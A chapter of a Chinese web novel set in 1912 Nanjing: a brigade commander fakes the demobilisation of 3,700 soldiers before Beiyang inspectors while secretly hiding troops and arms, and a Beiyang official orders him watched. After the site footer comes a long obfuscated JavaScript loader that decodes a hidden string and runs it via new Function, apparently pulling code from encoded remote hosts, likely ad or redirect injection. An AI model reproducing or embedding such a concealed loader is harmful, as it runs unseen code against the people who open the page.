第0132章点验风波
时间:民国元年(1912年)十月二十一日
地点:南京城外,原第三混成旅驻地
------
天还没亮透,东方刚泛起鱼肚白,营地里已经忙碌起来。
伙房的大灶烧得通红,锅里熬着稠粥,蒸笼里是杂粮窝头。炊事班长老刘指挥着十几个兵,把粥和窝头分装到木桶里,一桶桶搬到操场上。那里已经按营、连、排摆好了几十口大缸——不是装水,是准备装“裁撤”官兵的随身物品。
“都麻利点!辰时前必须开饭!”老刘扯着嗓子喊,额头上全是汗。他今年四十五了,是滁州的老兵,跟着沈砚之从山海关一路打过来,左腿有点瘸,是攻城时被滚木砸的,本该在裁撤名单里。可昨天沈砚之找他谈了一夜,今天,他这个“该回家”的人,反而成了整个计划的关键一环。
操场上,三千七百名官兵已经列队完毕。他们穿着洗得发白的军装,背着打好的背包,肩上挎着枪——空枪,子弹早就上交了。每个人都领到一份“裁撤凭证”:盖着旅部大印的文书,上面写着姓名、籍贯、在军时间,还有三个月的“恩饷”——二十块大洋,用红纸包着,沉甸甸的。
可没人笑。
晨雾很浓,像一层薄纱笼罩着营地。士兵们站在雾里,一张张年轻或不再年轻的脸,表情木然。有的低着头,盯着自己磨破的鞋尖。有的望着北方,那是家乡的方向。还有的,眼睛红红的,是哭过,或者一夜没睡。
沈砚之和程振邦站在点将台上,看着底下黑压压的人群。晨风吹动军旗,猎猎作响。今天是陆军部点验的日子,按约定,李纯会亲自带人来,清点人数,收缴军械,然后这三千七百人就会“解散”,各奔东西。
“都安排好了?”沈砚之低声问。
程振邦点头:“三千七百份凭证,一份不少。枪械清点过了,老套筒一千二百支,汉阳造八百支,土炮十二门,全部登记造册。弹药……”他顿了顿,“明面上的都在这儿,暗地里的已经转运出去了。”
“人怎么样?”
“按你说的,五百人回滁州,三百人去蚌埠,两百人去徐州,剩下的分散到苏北各县。每个点都有咱们的人接应,有地种,有活干。武器……”程振邦压低声音,“埋好了。地点只有带队的人知道。”
沈砚之深吸一口气。这是走钢丝,一步踏错,满盘皆输。三千七百人,三千七百张嘴,只要有一个说漏了,只要有一个被北洋的密探盯上,整个计划就会暴露。到时候,等着他们的不是裁军,是剿灭。
“旅长,”程振邦忽然说,“有句话,我不知道该不该问。”
“说。”
“咱们这么做,值得吗?”程振邦看着台下那些朝夕相处的弟兄,“明面上裁了,暗地里还得养着,粮饷、军械、安置,哪一样不要钱?咱们那点家底,撑不了多久。万一……我是说万一,袁世凯真坐稳了江山,咱们这些藏起来的人,永远见不了天日,怎么办?”
沈砚之没立刻回答。他看着雾里那些模糊的面孔,想起昨天在伤兵营看到的二牛,想起老陈说的“他家里还有个瞎眼的老娘”,想起攻城时倒在云梯下的那些年轻人。他们有的才十七八,还没娶媳妇,没看见过太平年景,就永远闭上了眼睛。
“振邦,”良久,沈砚之开口,声音很轻,却异常坚定,“你说,咱们当初为什么造人反?”
“为了……不再受鞑子欺负。”
“对,不受欺负。”沈砚之转头看他,“可你看看现在,袁世凯和满清有什么区别?他裁我们的军,削我们的权,是要把革命果实一口吞了,是要当皇帝!今天咱们要是把枪交了,把人散了,明天他就会把刀架在每一个革命党人脖子上。到那时,谁来保护这些弟兄?谁来保护那些跟着咱们的老百姓?”
程振邦沉默了。
“有些事,不是看值不值得,是看该不该做。”沈砚之望着东方,天边露出一线金光,雾开始散了,“咱们今天藏下这三千人,藏下的不是兵,是火种。只要火种不灭,总有一天,能烧出个清明世界。”
话音未落,营门外传来马蹄声。
很急,很多。
“来了。”程振邦脸色一肃。
沈砚之整了整军装,大步走下点将台。营门打开,一队骑兵旋风般冲进来,约莫五十骑,全是北洋军的装束,灰呢军装,锃亮的马靴,腰间挎着指挥刀。为首的是个上校,三十来岁,一脸倨傲,是李纯的副官,姓赵。
赵副官勒住马,居高临下扫了一眼操场,目光落在沈砚之身上。
“沈旅长,李次长随后就到。点验事宜,都准备好了?”
“准备好了。”沈砚之敬礼,“全旅应裁官兵三千七百人,实到三千七百人。枪械弹药已清点造册,请赵副官过目。”
赵副官翻身下马,接过名册翻了翻,又抬头看看操场上那些木然的士兵,嘴角露出一丝不易察觉的冷笑。
“沈旅长果然是明白人。”他把名册递给身后的参谋,“那就开始吧。按名册,一个一个点。”
“是。”
点验开始了。
这是个漫长而屈辱的过程。士兵们十个一组,被叫到名字的出列,走到点验台前,交出凭证,报出籍贯、年龄、入伍时间。然后有军需官上来,搜身——说是检查有没有私藏军械,其实连贴身衣物都不放过。搜完了,在名册上按手印,领那二十块大洋,然后被带到操场另一边,像货物一样堆在那里,等着“解散”。
沈砚之站在点验台旁,看着这一切。他的手在身侧握成了拳,指甲掐进掌心,渗出血丝,但他脸上没有任何表情。
第三个被点到的,是个十八岁的小兵,叫栓子,河南人。军需官搜他身时,从他怀里摸出个小布包,打开一看,是半块干硬的馍,已经发霉了。
“藏的什么?”军需官厉声问。
“报、报告长官,是……是干粮。”栓子吓得脸都白了,“俺娘说,路上饿……”
“藏私货,按军法该打二十军棍!”军需官把那半块馍扔在地上,用脚碾碎。
栓子“扑通”一声跪下了:“长官饶命!俺不敢了!俺娘眼睛瞎了,就等着俺回去,俺要是挨了打,走不了路,俺娘就……”
沈砚之一步上前,挡在栓子面前。
“赵副官,”他看着那个趾高气扬的军需官,声音平静,但眼神冷得像冰,“这位弟兄已经裁撤,不再是军人,不适用军法。他私藏干粮,是我不教之过,要罚,罚我。”
军需官愣住了,回头看向赵副官。
赵副官眯起眼睛,盯着沈砚之看了几秒,忽然笑了:“沈旅长爱兵如子,佩服。罢了,一个小兵,不与他计较。”他挥挥手,“继续点。”
栓子爬起来,眼泪鼻涕糊了一脸,对沈砚之磕了个头,抱着那二十块大洋,跌跌撞撞跑到操场另一边去了。
沈砚之看着他的背影,心里像堵了块石头。栓子是他从滁州收的兵,家里穷,父亲早死,老娘眼睛瞎了,他当兵就为了一口饭。如今“裁”了,二十块大洋,够他娘俩吃半年。半年以后呢?
点验进行到一半时,营门外又传来动静。
这次阵仗更大。先是一队卫兵跑步进来,清场,接着是四匹马拉的轿车,轿车前后还有十几骑护卫。车门打开,李纯走了下来。
他今天没穿军装,穿了一身藏青色长袍,外罩黑缎马褂,手里拄着文明棍,看起来像个富家翁。可那双眼睛,锐利得像鹰,扫过操场,扫过士兵,最后落在沈砚之身上。
“沈旅长,辛苦。”他笑着走过来,拍拍沈砚之的肩膀,“哎呀,这么大清早的,让你和弟兄们受累了。”
“分内之事。”沈砚之敬礼。
李纯走到点验台前,看了看名册,又看了看那些已经“裁”掉的士兵,脸上露出满意的神色。
“沈旅长果然信守承诺。三千七百人,一个不少。”他转过身,压低声音,“总统知道了,一定会很高兴。你放心,答应你的事,陆军部不会食言。整编后的第三混成旅,还由你带,授少将衔。以后,咱们就是同僚了。”
“谢次长提携。”
“诶,一家人不说两家话。”李纯摆摆手,忽然想起什么,“对了,我听说,沈旅长在滁州、蚌埠、徐州都有产业?”
沈砚之心头一紧,脸上却不动声色:“是有些薄产,都是家父留下的。”
“那就好,那就好。”李纯意味深长地看着他,“有产业就好安置。这些裁撤的弟兄,回乡之后,若无处可去,沈旅长可以帮衬帮衬。毕竟跟了你一场,总不能让他们饿死,对吧?”
这话里有话。沈砚之知道,李纯在试探,看他会不会暗中收留这些“裁”掉的兵。
“次长说的是。”他顺着话头说,“我已经吩咐下去,凡我旅裁撤官兵,若有困难,可到我名下的商号、田庄寻个活计。不敢说富贵,混口饭吃还是能的。”
“沈旅长仁义!”李纯哈哈大笑,又拍拍他的肩,力道很重,“那我就放心了。好了,你们继续点,我看看就走。部里还有事,总统下午要听汇报。”
他说着,真的在操场转了一圈,看看士兵,看看枪械,还随手拿起一支老套筒,拉了拉枪栓,摇摇头:“这枪,该换了。等整编完了,给你们换新枪,汉阳厂新出的,比这强多了。”
转了一圈,李纯带着卫队走了。马蹄声远去,营地里又只剩下点验的声音。
可沈砚之知道,事情没完。李纯最后那几句话,那双鹰一样的眼睛,还有那些看似随意的“看看”,都是在敲打,在警告:别耍花样,我盯着你呢。
点验一直持续到午时。
三千七百人,全部点完。名册上按满了红手印,像一片片血渍。枪械堆成了山,土炮摆在最前面,炮口黑洞洞的,对着天空,像在无声地控诉。
赵副官合上名册,对沈砚之敬了个礼。
“沈旅长,点验完毕,三千七百人,全部裁撤。枪械一千二百支,土炮十二门,全部收缴。请签字。”
沈砚之接过笔,在移交文书上签下自己的名字。沈砚之,三个字,写得力透纸背。
“赵副官,”他放下笔,看着对方,“这些弟兄,什么时候能走?”
“现在就可以。”赵副官把文书收好,“不过,出营之前,要再搜一次身——这是规矩,防止夹带军械。”
还要搜身。
沈砚之看着那些已经等了大半天的士兵,看着他们麻木的脸,疲惫的眼神,心里那团火又烧起来了。但他忍住了,点点头:“请便。”
第二轮搜身更粗暴。
士兵们被要求脱下外衣,只穿单衣,所有的行李都要打开,一件件检查。那些红纸包着的二十块大洋,被随意地扔来扔去,有的纸包破了,大洋滚了一地,士兵们趴在地上捡,像狗一样。
有个老兵,六十多了,是旅里的马夫,姓冯,大家都叫他冯老栓。他腿脚不好,搜身时慢了点,被军需官一脚踹在腿弯,跪倒在地。
“老东西,磨蹭什么!”
冯老栓趴在地上,半天没起来。他怀里掉出个东西,是个木头刻的小马,只有巴掌大,刻得很粗糙,但能看出是匹骏马,扬蹄长嘶。
“藏的什么?!”军需官捡起木马。
“长、长官,这是……这是给孙子的。”冯老栓爬起来,老泪纵横,“俺孙子六岁了,没见过马,俺答应给他刻个……”
“私藏违禁品!”军需官举起木马,就要摔。
“住手!”
程振邦一个箭步冲上去,夺过木马,塞回冯老栓手里。他盯着那个军需官,眼睛通红,像要杀人。
赵副官走过来,看了看程振邦,又看看沈砚之。
“程参谋长,这是何意?”
“赵副官,”沈砚之把程振邦拉到身后,上前一步,“这位冯老哥,是旅里的马夫,养了一辈子马,没拿过枪,没上过阵。他刻个木马给孙子,不算违禁品吧?”
赵副官盯着他看了几秒,忽然笑了:“沈旅长说不是,那就不是。好了,继续搜,手脚麻利点,别耽误弟兄们回家。”
搜身终于结束了。
三千七百人,背着简单的行李,揣着那二十块用尊严换来大洋,排着队,默默走出营门。没有人回头,没有人说话,只有脚步声,沙沙的,像秋风吹过枯草。
沈砚之和程振邦站在营门口,看着他们一个个走出去,消失在官道的拐弯处。那些人里,有跟他从山海关打到南京的老弟兄,有在滁州收的新兵,有伤兵营里捡回一条命的伤员,有才十八岁还没见过世面的孩子。
他们这一走,不知多少人能真的回到家,不知多少人会死在半路,不知多少人会沦为土匪,或者饿死在哪个破庙里。
最后一个走出去的,是栓子。他走到营门口时,忽然停下,转过身,“扑通”一声跪下了,对着沈砚之重重磕了三个头。
“旅长,俺走了。您的恩情,俺下辈子还。”
说完,他爬起来,抹了把脸,头也不回地跑了,跑得那么快,像后面有鬼追。
沈砚之站在原地,看着空荡荡的官道,看着飞扬的尘土,一动不动。风吹起他的衣角,猎猎作响。
“砚之,”程振邦在他身后,声音沙哑,“人都走了。”
“嗯。”
“咱们……也算对得起他们了。”
沈砚之没说话。对得起吗?他不知道。他只知道,这三千七百人,名义上“裁”了,实际上,他们的命运,他们的生死,依然系在他身上。那五百亩地,三百亩地,那些商号、田庄,能养活多少人?能养活多久?
他不知道。他只知道,这条路,必须走下去。
“振邦,”良久,他开口,“传令下去,全旅——不,全‘军’,集合。”
“现在?”
“现在。”沈砚之转过身,看着空了一半的营地,看着那些留下来的官兵——三千人,都是精挑细选出来的骨干,此刻正肃立在操场上,望着他。
他大步走上点将台。
风吹动军旗,也吹动他的衣袂。台下,三千双眼睛看着他,有年轻的,有年长的,有坚毅的,有迷茫的,但无一例外,都在等他说话。
“弟兄们!”沈砚之开口,声音不大,却清晰地传到每个人耳中,“今天,我们送走了三千七百个弟兄。他们有的回家了,有的去谋生了,有的……不知道去哪儿了。”
台下寂静无声。
“我知道,你们很多人心里不痛快。不痛快就对了!”他提高了声音,“我也不痛快!咱们提着脑袋打下的江山,凭什么他袁世凯坐享其成?凭什么他一句话,就要裁我们的军,缴我们的械?凭什么?!”
“不凭什么!”台下有人喊。
“对,不凭什么!”沈砚之握紧拳头,“就凭他枪多,就凭他兵多,就凭他现在坐在北京城里,说一不二!可是弟兄们,你们记住,这天下,不是他袁世凯一个人的天下!是四万万同胞的天下!是咱们用血、用命换来的天下!”
风更大了,吹得军旗猎猎作响,像战鼓在擂。
“今天,咱们明面上裁了军,交了枪。可暗地里,咱们的人还在,咱们的枪还在,咱们的心气还在!”沈砚之扫视全场,一字一句,“从今天起,没有‘江苏陆军第三混成旅’,只有‘江淮护国军’!咱们不靠他袁世凯发饷,不靠他北洋施舍!咱们靠什么?靠老百姓,靠这江淮大地,靠咱们手里的枪,靠咱们胸中这口气!”
他顿了顿,声音忽然低下来,却更加有力:
“我知道,这条路难。可能要饿肚子,可能要躲藏,可能要流血,要牺牲。有人会问,值吗?我今天告诉你们,值!为什么值?因为咱们今天退这一步,是为了明天进十步!因为咱们今天藏起来的,不是三千条枪,是三千颗火种!只要火种不灭,总有一天,能烧出个清明世界,烧出个老百姓能挺直腰杆做人的天下!”
台下,三千人肃立,鸦雀无声。但每一双眼睛里,都有火在烧。
“现在,”沈砚之拔出腰间的指挥刀,刀锋在秋阳下闪着寒光,“愿意跟我走的,留下!不愿意的,领十块大洋,现在就可以走,我沈砚之绝不阻拦!”
没有人动。
一秒,两秒,三秒。
忽然,一个士兵举起枪,高喊:“护国!护国!”
接着是第二个,第三个,第十个,第一百个,第一千个!
“护国!护国!护国!”
三千人的呐喊,震天动地,惊起了林中的飞鸟,扑棱棱冲向天空。那声音像雷,像鼓,像长江的怒涛,滚滚向前,势不可挡。
沈砚之站在点将台上,看着台下那一张张因激动而涨红的脸,看着那一双双燃烧的眼睛,忽然觉得,这一切都值了。
是的,值了。
只要这口气还在,只要这团火还在,这个国家,就还有希望。
他举起刀,刀尖指向北方:
“江淮护国军——出发!”
------
同一时间,南京城内,陆军部驻宁办事处
李纯站在二楼的窗前,望着城外的方向。虽然隔着十几里,但那隐隐传来的呐喊声,还是顺着风,飘进了城里。
“次长,”赵副官站在他身后,低声汇报,“点验完毕,三千七百人全部裁撤,枪械全部收缴。沈砚之很配合,没有异动。”
“没有异动?”李纯冷笑一声,转过身,“三千七百人,说裁就裁,说走就走,一个闹事的都没有——赵副官,你觉得这正常吗?”
赵副官一愣。
“沈砚之不是省油的灯。”李纯走到书桌前,拿起一份密报,那是北京刚送来的,“总统有令,对南方这些革命党将领,要‘明用暗防’。沈砚之今天这么配合,反而让我不放心。”
“那……”
“派人盯着。”李纯把密报扔在桌上,“那些裁撤的兵,去了哪里,做了什么,跟谁联系,我要一清二楚。特别是滁州、蚌埠、徐州——沈砚之的产业都在那儿,他肯定有安排。”
“是。”
“还有,”李纯走到窗前,望着北方,那里是北京的方向,“给总统发电:沈砚之部已裁撤完毕,但其人其心,未可轻信。建议调其入京,明升暗降,削其实权。”
“是,属下这就去办。”
赵副官敬礼,退出房间。
李纯独自站在窗前,望着秋风扫过的南京城。梧桐叶落了满地,像铺了一层金黄的地毯。可他知道,这金黄下面,是血,是火,是数不尽的阴谋和算计。
“沈砚之啊沈砚之,”他喃喃自语,嘴角泛起一丝冷笑,“你想玩暗度陈仓?好,我陪你玩。看是你藏得好,还是我挖得深。”
窗外,秋风萧瑟,卷起漫天落叶,像一场无声的战争,才刚刚开始。
------
(本章完)
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();